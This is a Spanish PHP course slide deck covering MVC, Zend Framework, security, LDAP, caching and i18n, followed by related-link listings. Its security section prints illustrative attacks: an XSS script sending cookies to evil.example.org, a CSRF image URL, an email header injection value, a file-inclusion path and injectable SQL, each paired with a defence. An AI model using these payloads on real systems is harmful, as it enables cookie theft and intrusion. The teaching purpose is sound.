             –   Alto conocimiento de la estructura
             –   Flexibilidad
             –   Seguridad (por ocultación)
–Contras
             –   Desarrollado por un grupo reducido (lento)
             –   Poco testing
             –   Estructura desorganizada
PHP – PHP: Hypertext Preprocessor

                                                                          MVC


MVC
–Paradigma   de programación nacido en 1978 de la mano de Xerox
PARC.
–Separa el código en 3 partes lógicas:
–Modelo
                 –   Representa el modelo de datos que va a utilizar la
                       aplicación.
                 –   El “sujeto” en una aplicación.
                 –   Debe contener toda la lógica de negocio de la aplicación.
–Vista
                 –   Contiene la lógica de visualización (XHTML para
                      aplicaciones web).
                 –   Mezcla la lógica de datos con las acciones en el
                      controlador, para devolver la salida al usuario.
PHP – PHP: Hypertext Preprocessor




Controlador
              –   Representa la acción a ejecutar el modelo de datos que va
                    a utilizar la aplicación.
              –   El controlador para un modelo, podría considerarse como
                    el “verbo”
              –   Desde aquí se invocará la lógica de negocio contenida en el
                   modelo.
PHP – PHP: Hypertext Preprocessor

                                        Frameworks más utilizados


Symphony
–(mvc, orm, ajax, caching, NO templates...)
–Bastante soporte

Prado
–(mvc,
     orm, ajax, caching, templates, EDP)
–Complejo

CakePHP
–(mvc,  orm, ajax, caching, NO templates...)
–Fácil aprendizaje

Zend Framework
–(mvc,
     ajax, caching, NO templates, components)
–Muy Flexible y “fácil aprendizaje”
PHP – PHP: Hypertext Preprocessor




Zend
PHP – PHP: Hypertext Preprocessor

                                                           Introducción


Zend Framework es un framework híbrido
–Componentes     usables de modo stand-alone
●Es fácil empezar a utilizar Zend al estilo PEAR. Sin cambiar el paradigma
de la aplicación existente.
–Core   MVC
Implementación completa del Modelo-Vista-Controlador
●



Amplio soporte de la comunidad
–Existen más colaboradores libres, que trabajando para Zend.
–La comunidad libera componentes que pasan a la incubadora.
–Utilización de PHPUnit para testing (calidad).

Zend es la empresa detrás del engine PHP
–Soporte   de otras grande empresas como IBM o Google.
PHP – PHP: Hypertext Preprocessor




Junio 2005
–Comenzó       oficialmente el desarrollo
Abril 2006
–Primera   beta pública (0.1.3)
Junio 2007
–Ver   1.0.0
Marzo 2009
–Ver 1.7.8
 Actualmente
–Ver 1.9
PHP – PHP: Hypertext Preprocessor




Licencia estilo BSD (estilo Apache):
–Permite desarrollar proyectos opensource.
–Permite desarrollar aplicaciones comerciales.


Cada persona que desarrolle para Zend framework, tiene
que firmar un Acuerdo de Licencia de Contribuidor (CLA),
lo que garantiza que el código o cualquier concepto sujeto
a Propiedad Intelectual sean libres.


http://framework.zend.com/license
PHP – PHP: Hypertext Preprocessor




●   Descarga de Zend Framework
–Modo   descarga
http://framework.zend.com/download
●



Descargarse la última versión estable (1.9.5)
●


●El contenido dentro de la carpeta “library” será el framework
propiamente dicho.
–Modo   SVN
Checkout del último tag disponible
●


svn co
http://framework.zend.com/svn/framework/standard/tags/
release-1.9.5/library/Zend/ Zend
PHP – PHP: Hypertext Preprocessor

                                 Reescritura peticiones HTTP

●Debemos asegurarnos de que modrewrite está activado
en nuestro Apache2
# a2enmod rewrite
# /etc/init.d/apache restart

●   En desarrollo será suficiente con tener un fichero
    .htaccess ocupándose de esta tarea.
●   En producción es recomendable especificarlo en el
    fichero de configuración de apache, para mejorar el
    rendimiento.
PHP – PHP: Hypertext Preprocessor




●   Crear la estructura básica de Zend
         –   Zend nos proporciona un script de consola para esto: zf.sh
        zf.sh create project ejemplo
         –   No genera cuatro directorios con sus correspondientes subdirectorios.
               ●   Public:
                        –    El único directorio que expondremos al exterior.
                        –    Principalmente contendrá el index.php (que se encargará de arrancar toda
                                la aplicación), las imagenes, los archivos css, los archivos js, etc...
               ●   Library:
                        –    Las librerías de zend_framework y si queremos otras, pues también. Las de
                               Zend deberemos copiarlas o linkarlas, no se incluyen por defecto
               ●   Application:
                        –    Aquí va la aplicación como tal.
               ●   Tests:
                        –    Archivos para Unit Testing
PHP – PHP: Hypertext Preprocessor




 Partimos de un directorio donde estarán todos
los ficheros web (/var/www por ejemplo)
   /var/www/
   /var/www/lib/ ← Contendrá ficheros de terceros
   /var/www/lib/Zend   ← Zend Framework
   /var/www/application/      ← Ficheros de nuestra
   aplicación
   /var/www/app1ication/controllers ← Controladores
   /var/www/app1ication/models   ← Modelos
   /var/www/app1ication/views    ← Vistas
   /var/www/app1ication/views/scripts/ ← contenedora de las
   vistas
   /var/www/app1ication/views/scripts/index
   /var/www/app1ication/views/helpers/ ← dir para helpers de
   views

   /var/www/public/ <- Document Root del Apache
   /var/www/public/images/ <- directorios web “normales”
   /var/www/public/css/
PHP – PHP: Hypertext Preprocessor

                                                            Bootstrap

●Fichero que se encarga de redirigir todas las peticiones
HTTP a nuestra aplicación.
     –   public/index.php
     –   Se asegura de que todas las librerias necesarias están
           incluidas
     –   Llama al bootstrap (sistema de inicialización) de
           Zend_Framework
PHP – PHP: Hypertext Preprocessor

                                                              Bootstrap

●   Fichero de bootstrap
        –   application/Bootstrap.php
        –   Se encarga de inicializar todos los recursos de Zend
               Framework
        –   En un principio está prácticamente vacio, ya lo
               rellenaremos nosotros con lo que necesitemos
        –   El Front_Controller se lanza por defecto. No necesita
               inicializarse desde aquí
PHP – PHP: Hypertext Preprocessor

                                                               Controlador

●   Action Controllers
        –   application/controllers/{controlador}Controller.php
        –   Acciones que se ejecutarán dependiendo de la ruta
              obtenida
        –   En Zend por defecto las urls son:
              ●   http://servidor/aplicación/modulo/controlador/accion
              ●   Se puede modificar a nuestro antojo
              ●   El módulo no es obligatorio, por defecto = “Default”
        –   Los Controladores extienden de Zend_Controller_Action
            public function {nombre}Action
              ●   Los métodos con este tipo de nombre se llaman
                    automáticamente a través de la acción
PHP – PHP: Hypertext Preprocessor

                                                              Controlador

●   Los métodos en Zend se escriben utilizando camel-case
           –   Comenzando en minúscula, las palabras se separan
                  poniendo la primera letra en mayúscula.
           –   El siguiente método dentro de un controlador llamado
                  viajes (ViajesController.php), sería algo así:
       class ViajesController extends Zend_Controler_Action {

               public function reservarVueloAction() {}
       }
           –   La URL que invocaría dicha acción en el controlador sería,
                 sin embargo, en minúsculas, separando las palabras con
                 un guión:
       http://example.com/viajes/reservar-vuelo
PHP – PHP: Hypertext Preprocessor

                                                                         Vistas

●   Vistas
        –    views/scripts/{controlador}/{accion}.phtml
        –    Vista que se utilizara dependiendo del controlador y la
               acción obtenida
        –    Una vista especifica normalmente el contenido XHTML
               que se utilizará para renderizar la página.
        –    También es posible que el resultado sea XML, JSON o
               incluso contenido binario como una imagen o un PDF.
        –    Las vistas serán específicas para cada *Action de un
               Controlador.
                    –   Esto se puede sobreescribir
PHP – PHP: Hypertext Preprocessor




●   La vista como “objeto”, estará disponible dentro como
      la propiedad “view” dentro del controlador.
     IndexController.php
     public function IndexController() {
        $this->view->titulo = “Hola Mundo”;
     }
●   Mediante el método mágico __set se creará la
    propiedad aunque no exista, y estará disponible dentro
    de la vista.
     index.phtml
     <?php echo $this->titulo ?>
●   En la vista se puede programar PHP de manera normal,
    aunque por concepto, no debe contener lógica de
    negocio.
PHP – PHP: Hypertext Preprocessor




Escape()
  –   Función disponible en la vista, que deberá usarse para
        evitar valores malicioso en las variables que llegan a la
        vista.
 $this->escape($valor);
  –   Por defecto, llamará a la función htmlentities.
  –   Es configurable desde el controlador mediante el método
        de la vista setEscape.
 $this->view->setEscape('funcion_a_medida');
 $this->view->setEscape(array($obj,'metodo_publico');
 $this->view->setEscape(array('clase','metodo_estatico');
PHP – PHP: Hypertext Preprocessor

                                            Helpers::Vistas


Helpers, o “ayudadores” de vistas, son utilizados para
  encapsular funciones complejas y/o repetitivas
  dentro de las vistas.
Existen varios helpers instanciados incialmente en la
  clase Zend_View
  –   FormText();
  –   FormSubmit();
  –   FormLabel();
  –   HtmlList();
  –   Etc...
PHP – PHP: Hypertext Preprocessor

                                              Helpers::Vistas


Es posible crear nuestros propios helpers a nuestra
  medida.
Deben (no siempre) almacenarse en un directorio
  establecido:
 /var/www/app1/views/helpers/NombreDelHelper.php


La clase debe denominarse con el prefijo
  Zend_View_Helper_NombreDelHelper, y el método
  que se invocará se llamara “NombreDelHelper”.
 Class Zend_View_Helper_NombreDelHelper {
    public function NombreDelHelper($param) {}
 }
PHP – PHP: Hypertext Preprocessor

                                                         Modelo


Existen varias tendencias a la hora de entender e
  implementar un modelo de datos:
  –   Sin Modelo: donde la lógica de negocio estará encapsulada
        dentro del controlador (desaconsejada para aplicaciones
        de tamaño considerable).
  –   Modelo Ligero: implementa funciones básicas basándose
        en datos introducidos desde el controlador.
  –   Modelo Pesado: encapsula la lógica de los datos además
        de la lógica de negocio.
PHP – PHP: Hypertext Preprocessor

                                                          Modelo

●   Un Modelo será una clase en el siguiente directorio de
     nuestro árbol de directorios:
     /var/www/app1/models/Modelo.php
●   Esta vez, no tiene que “necesariamente” heredar de
    ninguna clase del Framework para funcionar.
●   La estructura de herencias de los modelos será tan
    compleja como el programador quiera hacerla.
●   Se recomienda mantener la nomenclatura de Zend
    Framework y el Namespace
      –   Default_Model_NombreModel.php
PHP – PHP: Hypertext Preprocessor




●   application/configs/application.ini
       –   Fichero de configuración
      resources.db.adapter = "PDO_MYSQL"
      resources.db.params.dbname = "cursosp"
      resources.db.params.username = "root"
      resources.db.params.password = "root"
       –   Podemos configurar rutas en el FS
      resources.layout.layoutPath = APPLICATION_PATH "/layouts/scripts"
       –   Podemos inicializar recursos
      resources.view[] =
       –   Podemos configurar el enrutamiento (urls)
      resources.router.routes.subaction.route =
      ":controller/:action/:subaction/*"
PHP – PHP: Hypertext Preprocessor




Seguridad en PHP
PHP – PHP: Hypertext Preprocessor




●   Nociones básicas - Conceptos
        –   La seguridad es una medida, no una característica
              ●   Quiero una aplicación segura (Vale, me alegro por ti, pero...)
        –   Mantener balance entre coste y seguridad
              ●   Una nivel adecuado de seguridad no tiene por qué incrementar el
                   coste, pero obviamente no es lo mismo la web de un banco,
                   que la de mi ferretería.
        –   Mantener balance entre usabilidad y seguridad
              ●   Session timeouts
        –   La seguridad debe ser parte del diseño
PHP – PHP: Hypertext Preprocessor




●   Nociones básicas - Técnicas
        – No       confiar en el usuario.
              ●   Filter Input Escape Output (FIEO)

        –   Mantener PHP actualizado
        –   Mantener las librerias actualizadas (dentro de lo posible)
        –   Mantener todo los datos “sensibles” fuera del acceso web.
       /public ← Apache solo debería acceder aquí
       /library
       /application
        –   Procurar mantener una configuración PHP los más
              restrictiva posible, pero acorde a nuestras necesidades
PHP – PHP: Hypertext Preprocessor




●   Configuración de PHP
       –   No mostrar la información sobre los errores en la web.
             ●   Loguear los errores
      php.ini
      =======
      display_errors = Off
      log_errors = On
       –   Comprobar la configuración.
             ●   Phpsecinfo nos puede ayudar a comprobar las opciones más
                  sensibles
                     –   Solo es un análisis rápido
                     –   No hace falta hacer caso a todo lo que nos dice, podríamos
                          quedarnos sin ciertas funcionalidades. CUIDADO
       –   El parámetro php_safe a Off por favor, nos dará una falsa
              sensación de seguridad.
             ●   Gracias :)
PHP – PHP: Hypertext Preprocessor




●   Archivos dentro del directorio público
        –   Comprobar que no se nos quedan ficheros de testing o
              diagnóstico que en principio eran temporales.
              ●   info.php
              ●   test.php
              ●   phpsecinfo :p
        –   Comprobar que los editores no nos han dejado archivos de
              backup!!!!
        –   Restringir el acceso a directorios de sistemas de control de
              versiones u otrasaplicaciones utilizadas para el
              despliegue
              RewriteRule ^(.*/)?.svn/ - [F,L]
PHP – PHP: Hypertext Preprocessor




●   Uploads
       –   Cuidado con lo que dejamos subir al servidor
       –   Cuidado donde lo guardamos
       –   La obtención de los ficheros subidos debería estar
             controlada (“download.php”)

       –   Ejemplo:
             ●   No permitimos subir ficheros con extensíon PHP para que
                  no puedan subir un script y ejecutarlo. OK
             ●   Pero, no controlamos que nos suban un .htaccess.
                     –   Letxes, que despiste!!
                         AddType application/x-httpd-php .php .htm
             ●   Ahora los .htm también se interpretan por PHP!!!!
                     –   Vaya liada :(
PHP – PHP: Hypertext Preprocessor




●   Email header injection
        –   Un atacante podría enviar emails a través de un formulario,
              modificando las cabeceras.
        –   FIEO!!
       mail($to,$subject,$message,$headers);

       <?php mail('usuario@example.com',$_POST['asunto'],
       $_POST['mensaje'],'From:' . $_POST['from']); ?>


       $_POST['from'] = malo@malosos.com%0cc:victima@victimillas.org%0
PHP – PHP: Hypertext Preprocessor




●   Validar las entradas
        –   Filtrar != Validar
              ●   Filtrar = Quitar caracteres/cadenas extraños/as
              ●   Validar = Asegurarnos de que el valor es válido
       <?php
       $miFichero = $_GET['fichero'];
       include($miFichero);
       ?>

       !!!!!!
       index.php?fichero=/../application/configs/application.ini
       !!!!!!

        –   Asegurarnos de que los datos que nos están introduciendo
              son válidos!
PHP – PHP: Hypertext Preprocessor




●
    Robo de sesión
        –   Antes PHP solía mantener la sesión pasando el id de sesión
              como parámetro $_GET o $_POST.
        –   Permitía poder asignarle un id de sesión a un usuario a través de
              un enlace.
        –   Hoy en día ya no es tan fácil, la sesión se almacena en la cookie
              de sesión y se envía en las cabeceras.
        –   Aun así podemos mejorar la seguridad:
              ●   Además del id de sesión, podemos guardar el user-agent del
                   cliente + un seed secreto y hacer un md5 de todo.
       $_SESSION['fingerprint'] = md5($_SERVER['User-Agent'] . 'TxurroSeed');
              ●   Después comprobamos que el fingerprint sigue siendo el mismo y
                   así sabemos que al menos no ha cambiado de navegador... :)
              ●   Podemos mejorar esto si el Seed además también depende de la
                    sesión.
PHP – PHP: Hypertext Preprocessor




●   Cross Site Scripting (XSS)
        –   Atentan contra la confianza que un usuario tiene a una
               web (o al menos el que su navegador tiene hacia la
               misma)
        –   Normalmente afectan a páginas que muestran datos
               externos o muestran datos introducidos por los usuarios
        –   Si no filtramos la entrada, ni escapamos la salida de datos
               (FIEO de nuevo...):
       <script>
       document.location =
       'http://evil.example.org/steal_cookies.php?cookies=' +
       document.cookie
       </script>
        –   Usar htmlentities(), stript_tags(), etc..
PHP – PHP: Hypertext Preprocessor




●   Cross Site Request Forgeries (CSRF)
        –   Atentan contra la confianza que una web tiene hacia los usuarios.
              ●   Principalmente hacia los usuarios logueados. Nos permite enviar posts,
                    comentarios, etc...
        –   A pesar de tener la sesión bien controlada, puede lanzarse este ataque
        –   Consiste en enviar un petición HTTP en nombre de un usuario
              registrado.
              ●   Por ejemplo Twitter estuvo afectado y mediante un enlace malicioso te
                    convertías en follower del atacante automáticamente.
              ●   Realmente ni siquiera hace falta hacer click, basta con tener una imagen
                    con una url maliciosa.
       <img src=”http://stocks.example.org/buy.php?symbol=SCOX&quantity=1000”
       />
        –   El ataque también puede provenir de un formulario externo que se
               lance contra nuestra web
PHP – PHP: Hypertext Preprocessor




●   Cross Site Request Forgeries (CSRF)
        –   Como lo combatimos
              ● No usar GET a la hora de confirmar acciones


        –   Y en un POST?? Porque decías algo de los formularios...
              ● Utilizar tokens.


              ●   Un input oculto con un valor precalculado que es válido
                   solo para la sesión actual y aceptado solo en un POST.
       <?php
       session_start();
       $token = md5(uniqid(rand(), true));
       $_SESSION['token'] = $token;
       ?>
       <form method="POST">
       <input type="hidden" name="token" value="<?php echo $token; ?>" />
       <input type="text" name="message"><br />
       <input type="submit">
       </form>
PHP – PHP: Hypertext Preprocessor




●   Servidores Compartidos
        –   Los datos de sesión se guardan en un directorio
              compartido. (normalmente /tmp)
        –   Todos los clientes del Servidor Compartido pueden
              acceder a los archivos de sesión de otro cliente.
        –   Solución:
              ● Almacenar los datos de sesión en la base de datos.


                 Haciendo uso de la función session_set_save_handler
                 podemos indicar que funciones se utilizarán para
                 gestionar la sesión.
       session_set_save_handler('_open','_close','_read','_write'
       ,'_destroy','_clean');
              ●   Mejor todavía, no usar servidores compartidos :p
PHP – PHP: Hypertext Preprocessor




●   Sql injection
        –   Filtrar la entrada (FIEO!)
        –   Utilizar los mecanismos de “quoting” que nos facilita nuestra extensión
              de BBDD
              ●   mysqli_real_scape_string()
        –   Utilizar prepared statements
       mysql_query('SELECT * FROM user WHERE username = "' .
       $_GET['username'] . '");




            Créditos: XKCD - http://xkcd.com
PHP – PHP: Hypertext Preprocessor




●   Cookies
       –   Los datos de las cookies pueden se accesibles por
             cualquiera.
       –   Mantener la mínima información posible en ellas
PHP – PHP: Hypertext Preprocessor




● Guía indispensable para tener una noción básica sobre la
seguridad en PHP (y la programación web en general)
     –   http://phpsec.org/projects/guide/
PHP – PHP: Hypertext Preprocessor




LDAP
PHP – PHP: Hypertext Preprocessor

                                                                    LDAP

●   LDAP: Lightweight Directory Access Protocol
      –   Protocolo a nivel de aplicación que permite el acceso a un
            servicio de directorio ordenado y distribuido para buscar
            diversa información en un entorno de red.
      –   Directorio:
            ●   Conjunto de objetos con atributos organizados de una
                 manera lógica y jerárquica
      –   Habitualmente se utiliza para la autenticación de usuarios.
PHP – PHP: Hypertext Preprocessor

                                                             LDAP

●   Sintaxis PHP
      –   Conexión
     $ldap = ldap_connect($host,[$port]);
     ldap_set_option($ldap, LDAP_OPT_PROTOCOL_VERSION, 3);
     ldap_bind($ldap,$user,$pass);
      –   Consultas
     $filter = "(campodelarbol=".$user.")";
     $base_dn = "dc=rama,dc=dominio,dc=dominio";
     $read = ldap_search($ldap, $base_dn, $filter);
     $info = ldap_get_entries($ldap, $read);
      –   Escritura
     ldap_modify($ldap,$dn,$entry);
     ldap_mod_replace($ldap,$dn,$attr);
      –   Cerrar conexión
     ldap_close($ldap);
PHP – PHP: Hypertext Preprocessor

                                                                            LDAP

●   Sintaxis Zend
      –   Conexión
     $options(
             'host'                =>   's0.foo.net',
             'username'            =>   'CN=user1,DC=foo,DC=net',
             'password'            =>   'pass1',
             'bindRequiresDn'      =>   true,
             'accountDomainName'   =>   'foo.net',
             'baseDn'              =>   'OU=Sales,DC=foo,DC=net',);
     $ldap = new Zend_Ldap($options);
     $ldap->bind($user,$pass);

      –   Consultas
     $filter = "(campodelarbol=".$user.")";
     $ldap->search($filter);

      –   Escritura
     $hm = $ldap->getEntry($dn);
     Zend_Ldap_Attribute::setAttribute($hm, 'mail', 'mueller@my.local');
     Zend_Ldap_Attribute::setPassword($hm,'newPa$$w0rd',
                                 Zend_Ldap_Attribute::PASSWORD_HASH_SHA1);
     $ldap->update($dn, $hm);
PHP – PHP: Hypertext Preprocessor

                 Cacheando desde PHP




Cacheando desde PHP
PHP – PHP: Hypertext Preprocessor




●   Cache
      –   Duplicación de un conjunto de datos con la intención de
            reducir el tiempo de acceso a los datos originales para
            optimizar el rendimiento del sistema
      –   En la web su objetivo es:
            ●   Reducir el ancho de banda consumido
            ●   Reducir la carga de los servidores
            ●   Reducir el tiempo de descarga
PHP – PHP: Hypertext Preprocessor




●   Cache en el lado del cliente
      –   Desde PHP podemos manejar las cabeceras para tratar que
           el cliente no nos realice tantas peticiones.
            ●   Expires: Le decimos cuando caduca la página
            ●   Etag: Le damos un hash para que compruebe si se ha
                  modificado el recurso o no.


            ●   Cache-Control y Pragma
                    –   Normalmente se suelen utilizar para todo lo contrario, para
                         especificar explicitamente que no queremos que se
                         cachee algo.
PHP – PHP: Hypertext Preprocessor




Cacheando en el lado del servidor
PHP – PHP: Hypertext Preprocessor




●   Memcached
      –   Sistema distribuido de cacheo en memoria
      –   Escucha en el puerto 11211
      –   Nos permite almacenar datos y objetos en memoria
      –   A medida que se va llenando la memoria, los objetos más
             antiguos se van eliminando.
      –   No tiene ningún mecanismo de seguridad, si tengo acceso
             a memcached, tengo acceso a los datos!!!!
            ●   Iptables
      –   Instalación del servidor de memcached
          apt-get install memcached
      –   Instalación de la librería para php
          apt-get php5-memcache
      –   Ya podemos utilizar las funciones de tipo memcache_*
PHP – PHP: Hypertext Preprocessor




●   Cacheando en ficheros
      –   Podemos utilizar el sistema de ficheros para cachear datos.
            ●   Por ejemplo si guardamos las imágenes y los ficheros subidos por
                  los usuarios en la BBDD, podemos tener una caché para no
                  andar pidiéndoselo todo el rato a MySQL.
      –   No es recomendable dar acceso directo a esta carpeta.
            ●   Tendremos un fichero o un script que se encargue de realizar la
                  transformación en la petición.


      –   También podemos utilizar ob_start, ob_get_contents, etc... Para
            cachear partes de la web.
            ●   Accedemos por RSS a un recurso, nos lo descargamos lo
                  procesamo con el ob activo y guardamos el contenido en un
                  archivo.
            ●   Ahora utilizamos el archivo durante X tiempo en lugar de acceder
                 al servidor remoto en cada petición.
PHP – PHP: Hypertext Preprocessor




●   Zend_Cache
      –   Volvemos al patrón Factory
            ●   Nos permite utilizar diferentes “Backends” y “Frontends”
                 con una misma interfaz/api.
            ●   Frontends:
                    –   Qué es lo que queremos cachear: Core, Output, File,
                         Function y Class
            ●   Backends:
                    –   Dónde lo queremos almacenar: File, Sqlite, Memcached,
                         Xcache, ZendPlatform, TwoLevels, ZendServer_disk y
                         ZendServer_shMem
      –
PHP – PHP: Hypertext Preprocessor




●   APC – Alternative PHP Cache
      –   Cachea tanto datos, como código “compilado” del
            bytecode de PHP, en memoria compartida
      –   Optimiza notablemente el uso de recursos.
      –   Se instala como una extensión
     apt-get install php-apc
      –   Y según se instala empieza a hacer toda la magia
      –   Tienen intención de incluirlo en el core de PHP6
      –   Si queremos también podemos obligarle a guardar ciertos
             datos
     apc_add($clave,$valor)
     apc_fetch($clave)
     etc...
PHP – PHP: Hypertext Preprocessor




●   Otros aceleradores
      –   eAccelerator
            ●   Solo funciona en modo thread-safe, por lo demás no tiene
                  mala fama...
      –   Xcache
            ●   Desarrollado por uno de los developers de Lighttpd.
            ●   Está comprobado que funciona en servidores con mucha
                  carga
      –   Zend Optimizer+
            ●   Funciona bajo la comunity edition de Zend Server....
PHP – PHP: Hypertext Preprocessor




PHP multilenguaje
PHP – PHP: Hypertext Preprocessor

                                                                  Conceptos

●   El gran problema de la internacionalización
                            18 caracteres
      –   i18n: InternationalizatioN
            ●   Proceso de diseñar software que permita ser adaptado a
                  diferentes idiomas sin necesidad cambios en el código
                     10 caracteres
      –   L10n: LocalizatioN
            ●   Proceso para adaptar el software a una zona específica
      –   NLS: Native Language Support
            ●   Lo que engloba los dos anteriores, también conocido como
                  g11n (globalization)
      –   Locale: códigoLang_CÓDIGOESTADO[.charset]
            ●   Conjunto de parámetros que definen un lenguaje
                      Ej: es_ES.utf8, en_US, eu_ES.ISO-8859-1
PHP – PHP: Hypertext Preprocessor




●   Multilenguaje utilizando arrays
      –   Consiste en tener un fichero con el array de literales.
      –   No es sostenible para aplicaciones con muchos literales

     $literales = array(
     “hello world” => “hola mundo”,
     “by world” => “adios mundo”
     );

      –   Este archivo lo cargamos desde la clase encargada de las
            traducciones.
      –   Otra variante es hacerlo con archivos ini. Estos suelen ser
            más fáciles de modificar por el cliente.
PHP – PHP: Hypertext Preprocessor




●   Multilenguaje desde base de datos
      –   Consiste en tener todos los literales en una tabla de la
            BBDD.
      –   Se puede facilitar al cliente la posibilidad de modificar el
            mismo los literales
      –   Solo se cargan en memoria los literales necesarios en cada
            momento.
            ●   Se debe analizar si es mejor cargarlos todos, dependerá de
                  cada aplicación
      –   Facilmente escalable
PHP – PHP: Hypertext Preprocessor




●   Multilenguaje con gettext
      –   Opción preferida en entornos Unix
      –   Aunque también la más compleja
      –   Modo de trabajo:
            ●   Crear los .po con la herramienta xgettext
                Ej: xgettext –default-domain=hola.php
            ●   El fichero .po contendrá
                msgid "Hola mundo"     # Clave
                msgstr ""              # Valor (traducción)
      –   El binario .mo se crea con msgfmt
            ●   Carpetas:
           /locale/eu_ES/LC_MESSAGES/fichero.mo
PHP – PHP: Hypertext Preprocessor




Autores:

Alayn Gortazar <alayn@irontec.com>
Javier Infante <jabi@irontec.com>
Iván Mosquera <ivan@irontec.com>
PHP – PHP: Hypertext Preprocessor

                                                             Licencia Copyleft



●   Eres libre de:
        –   Copiar, distribuir y comunicar públicamente la obra
        –   Hacer obras derivadas
●   Bajo las condiciones siguientes:
        –   Reconocimiento:
              ●   Debes reconocer los créditos de la obra de la manera especificada
                   por el autor o el licenciador (pero no de una manera que
                   sugiera que tienes su apoyo o apoyan el uso que haces de su
                   obra)
        –   Compartir bajo la misma licencia
              ●   Si transformas o modificas esta obra para crear una obra derivada,
                    sólo puedes distribuir la obra resultante bajo la misma licencia,
                    una similar o una compatible.
●   Más información en:
     http://creativecommons.org/licenses/by-sa/3.0/es/

Más contenido relacionado

La actualidad más candente (20)

Iniciación PHP 5. Introducción
Iniciación PHP 5. IntroducciónIniciación PHP 5. Introducción
Iniciación PHP 5. Introducción
 
Iniciacion a PHP (I)
Iniciacion a PHP (I)Iniciacion a PHP (I)
Iniciacion a PHP (I)
 
Manual De Php
Manual De PhpManual De Php
Manual De Php
 
Manual PHP 7
Manual PHP 7Manual PHP 7
Manual PHP 7
 
Introducción a PHP - Programador PHP - UGR
Introducción a PHP - Programador PHP - UGRIntroducción a PHP - Programador PHP - UGR
Introducción a PHP - Programador PHP - UGR
 
Php
PhpPhp
Php
 
4.Programación con PHP y MySQL
4.Programación con PHP y MySQL4.Programación con PHP y MySQL
4.Programación con PHP y MySQL
 
Manual de PHP Basico
Manual de PHP BasicoManual de PHP Basico
Manual de PHP Basico
 
Php basico
Php basicoPhp basico
Php basico
 
Manual basico de PHP
Manual basico de PHPManual basico de PHP
Manual basico de PHP
 
Introducción a PHP
Introducción a PHPIntroducción a PHP
Introducción a PHP
 
Variables y Bucles
Variables y BuclesVariables y Bucles
Variables y Bucles
 
Introducción a PHP
Introducción a PHPIntroducción a PHP
Introducción a PHP
 
Introduccion a php
Introduccion a phpIntroduccion a php
Introduccion a php
 
Mis primeros pasos con Symfony 2
Mis primeros pasos con Symfony 2Mis primeros pasos con Symfony 2
Mis primeros pasos con Symfony 2
 
PHP MYSQL - FIEI-UNFV Clase 01
PHP MYSQL - FIEI-UNFV Clase 01PHP MYSQL - FIEI-UNFV Clase 01
PHP MYSQL - FIEI-UNFV Clase 01
 
Manual php completo by_ desarrolloweb
Manual php completo by_ desarrollowebManual php completo by_ desarrolloweb
Manual php completo by_ desarrolloweb
 
Programacion - Php
Programacion - PhpProgramacion - Php
Programacion - Php
 
Manual de php con ejercicios
Manual de php con ejerciciosManual de php con ejercicios
Manual de php con ejercicios
 
Exposicion de php
Exposicion de phpExposicion de php
Exposicion de php
 

Destacado

Los 5 Retos Más Comunes de Innovación - eBook
Los 5 Retos Más Comunes de Innovación - eBook Los 5 Retos Más Comunes de Innovación - eBook
Los 5 Retos Más Comunes de Innovación - eBook Innovare
 
Proyecto educativo institucional
Proyecto educativo institucionalProyecto educativo institucional
Proyecto educativo institucionalFroy Castro Ventura
 
Guía ética elisa[2]
Guía ética elisa[2]Guía ética elisa[2]
Guía ética elisa[2]Jesus Chaux
 
Guía ética elisa[2]
Guía ética elisa[2]Guía ética elisa[2]
Guía ética elisa[2]Jesus Chaux
 
Procesos de auditoría
Procesos de auditoríaProcesos de auditoría
Procesos de auditoríaUro Cacho
 
Particiapción ciudadana en el control de la gestión pública en vzla
Particiapción ciudadana en el control de la gestión pública en vzlaParticiapción ciudadana en el control de la gestión pública en vzla
Particiapción ciudadana en el control de la gestión pública en vzlaMercedes Gutiérrez
 
Elaboracion de Proyectos
Elaboracion de ProyectosElaboracion de Proyectos
Elaboracion de ProyectosJOTANELSON
 
Vr voor kerkbezoek onderzoeksrapport versie-2
Vr voor kerkbezoek   onderzoeksrapport versie-2Vr voor kerkbezoek   onderzoeksrapport versie-2
Vr voor kerkbezoek onderzoeksrapport versie-2rloggen
 
Guia de Evaluación, Monitoreo y Supervisión para servicios de salud
Guia de Evaluación, Monitoreo y Supervisión para servicios de saludGuia de Evaluación, Monitoreo y Supervisión para servicios de salud
Guia de Evaluación, Monitoreo y Supervisión para servicios de saludAnibal Velasquez
 
Modelo para la conformación de una agenda digital en las instituciones de edu...
Modelo para la conformación de una agenda digital en las instituciones de edu...Modelo para la conformación de una agenda digital en las instituciones de edu...
Modelo para la conformación de una agenda digital en las instituciones de edu...Academia de Ingeniería de México
 
Progama de formación tecnico en sistemas 865244
Progama de formación tecnico en sistemas 865244Progama de formación tecnico en sistemas 865244
Progama de formación tecnico en sistemas 865244David Rojas
 
INFORME DE AUDITORIA GUBERNAMENTAL
INFORME DE  AUDITORIA GUBERNAMENTALINFORME DE  AUDITORIA GUBERNAMENTAL
INFORME DE AUDITORIA GUBERNAMENTALmalbertorh
 
Derecho bancario, bursátil, litigios, fiscal cert
Derecho bancario, bursátil, litigios, fiscal certDerecho bancario, bursátil, litigios, fiscal cert
Derecho bancario, bursátil, litigios, fiscal certMaestros Online
 

Destacado (20)

Curso php y_my_sql
Curso php y_my_sqlCurso php y_my_sql
Curso php y_my_sql
 
Los 5 Retos Más Comunes de Innovación - eBook
Los 5 Retos Más Comunes de Innovación - eBook Los 5 Retos Más Comunes de Innovación - eBook
Los 5 Retos Más Comunes de Innovación - eBook
 
Foda con enfoque prospectivo
Foda con enfoque prospectivoFoda con enfoque prospectivo
Foda con enfoque prospectivo
 
Proyecto educativo institucional
Proyecto educativo institucionalProyecto educativo institucional
Proyecto educativo institucional
 
Guía ética elisa[2]
Guía ética elisa[2]Guía ética elisa[2]
Guía ética elisa[2]
 
Guía ética elisa[2]
Guía ética elisa[2]Guía ética elisa[2]
Guía ética elisa[2]
 
Procesos de auditoría
Procesos de auditoríaProcesos de auditoría
Procesos de auditoría
 
Control
ControlControl
Control
 
Particiapción ciudadana en el control de la gestión pública en vzla
Particiapción ciudadana en el control de la gestión pública en vzlaParticiapción ciudadana en el control de la gestión pública en vzla
Particiapción ciudadana en el control de la gestión pública en vzla
 
Geld verdienen met Linkedin
Geld verdienen met LinkedinGeld verdienen met Linkedin
Geld verdienen met Linkedin
 
Elaboracion de Proyectos
Elaboracion de ProyectosElaboracion de Proyectos
Elaboracion de Proyectos
 
Woman3
Woman3Woman3
Woman3
 
Vr voor kerkbezoek onderzoeksrapport versie-2
